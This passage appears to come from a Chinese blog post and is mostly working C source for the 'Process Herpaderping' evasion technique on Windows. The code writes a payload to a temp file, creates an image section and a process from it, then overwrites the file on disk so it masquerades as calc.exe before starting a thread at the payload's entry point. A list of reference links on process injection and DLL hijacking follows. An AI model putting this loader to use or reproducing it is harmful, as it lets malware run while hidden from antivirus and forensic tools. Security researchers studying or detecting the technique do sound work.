		perror("[-] Couldn't find API NtCreateSection...\n");
		exit(-1);
	}
	_NtCreateProcessEx pNtCreateProcessEx = (_NtCreateProcessEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx");
	if (pNtCreateProcessEx == NULL) {
		perror("[-] Couldn't find API NtCreateProcessEx...\n");
		exit(-1);
	}
	_NtQueryInformationProcess pNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
	if (pNtQueryInformationProcess == NULL) {
		perror("[-] Couldn't find API NtQueryInformationProcess...\n");
		exit(-1);
	}
	_NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
	if (pNtCreateThreadEx == NULL) {
		perror("[-] Couldn't find API NtCreateThreadEx\n");
		exit(-1);
	}
	_RtlCreateProcessParametersEx pRtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateProcessParametersEx");
	if (pRtlCreateProcessParametersEx == NULL) {
		perror("[-] Couldn't find API RtlCreateProcessParametersEx\n");
		exit(-1);
	}
	_RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
	if (pRtlInitUnicodeString == NULL) {
		perror("[-] Couldn't find API RtlInitUnicodeString \n");
		exit(-1);
	}
	_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
	if (pNtWriteVirtualMemory == NULL) {
		perror("[-] Couldn't find API NtWriteVirtualMemory\n");
		exit(-1);
	}
	_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
	if (pNtAllocateVirtualMemory == NULL) {
		perror("[-] Couldn't find API NtAllocateVirtualMemory...");
		exit(-1);
	}
	HANDLE hTemp;
	HANDLE hSection;
	HANDLE hProcess;
	HANDLE hThread;
	NTSTATUS status;
	PROCESS_BASIC_INFORMATION pbi;
	PEB* remotePEB;
	DWORD bytesWritten;
	signed int bufferSize;
	ULONG_PTR entryPoint;
	UNICODE_STRING uTargetFilePath;
	UNICODE_STRING uDllPath;
	PRTL_USER_PROCESS_PARAMETERS processParameters;


	wchar_t tempFile[MAX_PATH] = {0};
	wchar_t tempPath[MAX_PATH] = { 0 };
	GetTempPathW(MAX_PATH, tempPath);
	GetTempFileNameW(tempPath, L"HD", 0, tempFile);
	wprintf(L"[+] Creating temp file: %s\n", tempFile);
	// Create a temp File
	// later this file holds our payload 
	hTemp = CreateFileW(tempFile, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 
					FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0);
	if (hTemp == INVALID_HANDLE_VALUE) {
		perror("[-] Unable to create temp file....\n");
		exit(-1);
	}
	// Write Payload into the temp file
	if (!WriteFile(hTemp, payload, payloadSize, &bytesWritten, NULL)) {
		perror("[-] Unable to write payload to the file...\n");
		exit(-1);
	}
	wprintf(L"[+] Payload written into the temp file...\n");


	// CreateSection with temp file
	// SEC_IMAGE flag is set
	status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTemp);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable to create section from temp file...\n");
		exit(-1);
	}
	wprintf(L"[+] Section created from the temp file...\n");

	// Create Process with section
	status = pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
						PS_INHERIT_HANDLES , hSection, NULL, NULL, FALSE);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable to create process... \n");
		exit(-1);
	}


	wprintf(L"[+] Spawned the process from the created section...\n");
	// Get remote process information
	status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), 0);
	if (!NT_SUCCESS(status)) {
		perror("[-] Unable to Get Process Information...\n");
		exit(-1);
	}
	// Get the entry point
	entryPoint = GetEntryPoint(hProcess, payload, pbi);


	// Modify the file on disk
	SetFilePointer(hTemp, 0, 0, FILE_BEGIN);
	bufferSize = GetFileSize(hTemp, 0);
	bufferSize = 0x1000;
	wchar_t bytesToWrite[] = L"Hello From CyberWarFare Labs\n";
	while (bufferSize > 0) {
		WriteFile(hTemp, bytesToWrite, sizeof(bytesToWrite), &bytesWritten, NULL);
		bufferSize -= bytesWritten;
	}
	wprintf(L"[+] Modified temp file on the disk...\n");


	// Set Process Parameters
	wprintf(L"[+] Crafting process parameters...\n");
	wchar_t targetFilePath[MAX_PATH] = { 0 };
	lstrcpy(targetFilePath, L"C:\\Windows\\System32\\calc.exe");
	pRtlInitUnicodeString(&uTargetFilePath, targetFilePath);
	wchar_t dllDir[] = L"C:\\Windows\\System32";
	UNICODE_STRING uDllDir = { 0 };
	pRtlInitUnicodeString(&uDllPath, dllDir);
	status = pRtlCreateProcessParametersEx(&processParameters, &uTargetFilePath, &uDllPath,
		NULL, &uTargetFilePath, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
	if (!NT_SUCCESS(status)) {
		perror("Unable to create process parameters.. \n");
		exit(-1);
	}

	SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength;
	PVOID paramBuffer = processParameters;
	status = pNtAllocateVirtualMemory(hProcess, &paramBuffer, 0, &paramSize, 
			MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!NT_SUCCESS(status)) {
		perror("Unable to allocate memory for process parameters.. \n");
		exit(-1);
	}
	status = pNtWriteVirtualMemory(hProcess, processParameters, processParameters,
		processParameters->EnvironmentSize + processParameters->MaximumLength, NULL);
	if (!NT_SUCCESS(status)) {
		perror("Failed to write process parameters in target process.. \n");
		exit(-1);
	}
	// Getting Remote PEB address
	remotePEB = (PEB*)pbi.PebBaseAddress;
	if (!WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL)) {
		perror("Failed to update process parameters address.. \n");
		exit(-1);
	}
	wprintf(L"[+] Process parameters all set...\n");

	// Create and resume thread
	status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)entryPoint, NULL, FALSE, 0, 0, 0, 0);
	wprintf(L"[+] Thread executed...\n");
	if (!NT_SUCCESS(status)) {
		perror("Unable to start thread.. \n");
		exit(-1);
	}
	CloseHandle(hTemp);
	return TRUE;
}


int main() {
	size_t payloadSize;
	BYTE* payloadBuffer = GetPayloadBuffer(payloadSize);
	BOOL isSuccess = Herpaderping(payloadBuffer, payloadSize);
}

参考链接

加强版远程线程注入

如何禁用软件DLL劫持

一种通用DLL劫持技术研究

常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)

x64下动态加载EXE文件到内存执行遇到的问题 0xc0000005

Process-Hollowing

高级进程注入总结

Windows进程注入技术研究


相关内容

0%